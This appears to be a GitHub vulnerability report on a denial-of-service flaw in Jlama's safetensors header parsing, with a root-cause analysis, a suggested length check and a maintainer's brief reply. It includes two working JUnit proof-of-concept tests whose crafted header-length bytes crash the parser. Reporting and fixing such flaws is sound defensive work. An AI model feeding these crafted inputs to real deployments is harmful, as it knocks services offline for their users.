DoS in Jlama latest version

[c2an1]

1. Description

The readTensorInfoMap method in the SafeTensorSupport class uses Ints.checkedCast(headerLength) to validate the length when allocating a byte array. However, this validation is flawed, allowing maliciously crafted data to trigger a java.lang.OutOfMemoryError or java.lang.NegativeArraySizeException.
The readWeights method in the same class invokes readTensorInfoMap, making it vulnerable to similar issues when handling malicious data. This behavior could result in a Denial of Service (DoS).

2. Proof of Concept (PoC)

A PoC can be easily generated based on the test class TestParser (found at TestParser.java). All PoC code matches the source code from GitHub, except for the string passed to BaseEncoding.base16().decode.

PoC 1: java.lang.NegativeArraySizeException

import com.github.tjake.jlama.safetensors.SafeTensorSupport;
import com.github.tjake.jlama.safetensors.Weights;
import com.google.common.io.BaseEncoding;
import org.junit.Assert;
import org.junit.Test;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;

public class TestParser {
    @Test
    public void simpleTest() {
        byte[] preamble = BaseEncoding.base16().decode("FFFFFFFFFFFFFFFF");
        byte[] header = "{\"test\":{\"dtype\":\"F32\",\"shape\":[2,2],\"data_offsets\":[0,16]},\"__metadata__\":{\"foo\":\"bar\"}}"
                .getBytes();

        ByteBuffer bb = ByteBuffer.allocate(16).order(ByteOrder.LITTLE_ENDIAN);
        bb.putFloat(1.0f);
        bb.putFloat(2.0f);
        bb.putFloat(3.0f);
        bb.putFloat(4.0f);
        byte[] data = bb.array();

        Assert.assertEquals(16, data.length);
        byte[] serialized = new byte[preamble.length + header.length + data.length];
        System.arraycopy(preamble, 0, serialized, 0, preamble.length);
        System.arraycopy(header, 0, serialized, preamble.length, header.length);
        System.arraycopy(data, 0, serialized, preamble.length + header.length, data.length);

        Weights v = SafeTensorSupport.readWeights(ByteBuffer.wrap(serialized));
    }
}

PoC 2: java.lang.OutOfMemoryError

import com.github.tjake.jlama.safetensors.SafeTensorSupport;
import com.github.tjake.jlama.safetensors.Weights;
import com.google.common.io.BaseEncoding;
import org.junit.Assert;
import org.junit.Test;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;

public class TestParser {
    @Test
    public void simpleTest() {
        byte[] preamble = BaseEncoding.base16().decode("FFFFFF7F00000000");
        byte[] header = "{\"test\":{\"dtype\":\"F32\",\"shape\":[2,2],\"data_offsets\":[0,16]},\"__metadata__\":{\"foo\":\"bar\"}}"
                .getBytes();

        ByteBuffer bb = ByteBuffer.allocate(16).order(ByteOrder.LITTLE_ENDIAN);
        bb.putFloat(1.0f);
        bb.putFloat(2.0f);
        bb.putFloat(3.0f);
        bb.putFloat(4.0f);
        byte[] data = bb.array();

        Assert.assertEquals(16, data.length);
        byte[] serialized = new byte[preamble.length + header.length + data.length];
        System.arraycopy(preamble, 0, serialized, 0, preamble.length);
        System.arraycopy(header, 0, serialized, preamble.length, header.length);
        System.arraycopy(data, 0, serialized, preamble.length + header.length, data.length);

        Weights v = SafeTensorSupport.readWeights(ByteBuffer.wrap(serialized));
    }
}

3. Root Cause Analysis

The root cause lies in the implementation of the readTensorInfoMap method in the SafeTensorSupport class:

public static Map<String, TensorInfo> readTensorInfoMap(ByteBuffer buf, Optional<Map<String, String>> saveMetadata) {
    buf = buf.order(ByteOrder.LITTLE_ENDIAN);
    long headerLength = buf.getLong();
    byte[] header = new byte[Ints.checkedCast(headerLength)];
    ...

The vulnerability arises from insufficient validation in Ints.checkedCast(headerLength) before using headerLength to allocate the byte array.

4. Mitigation

The readTensorInfoMap method in the SafeTensorSupport class should include additional validation:

long headerLength = buf.getLong();
// Add validation
if (headerLength > 0 && headerLength < MAX_SIZE) {
byte[] header = new byte[Ints.checkedCast(headerLength)];
    ...

By validating headerLength, the risk of OutOfMemoryError or NegativeArraySizeException can be mitigated.

[tjake]

Thanks for the report! Would you mind opening a PR to fix?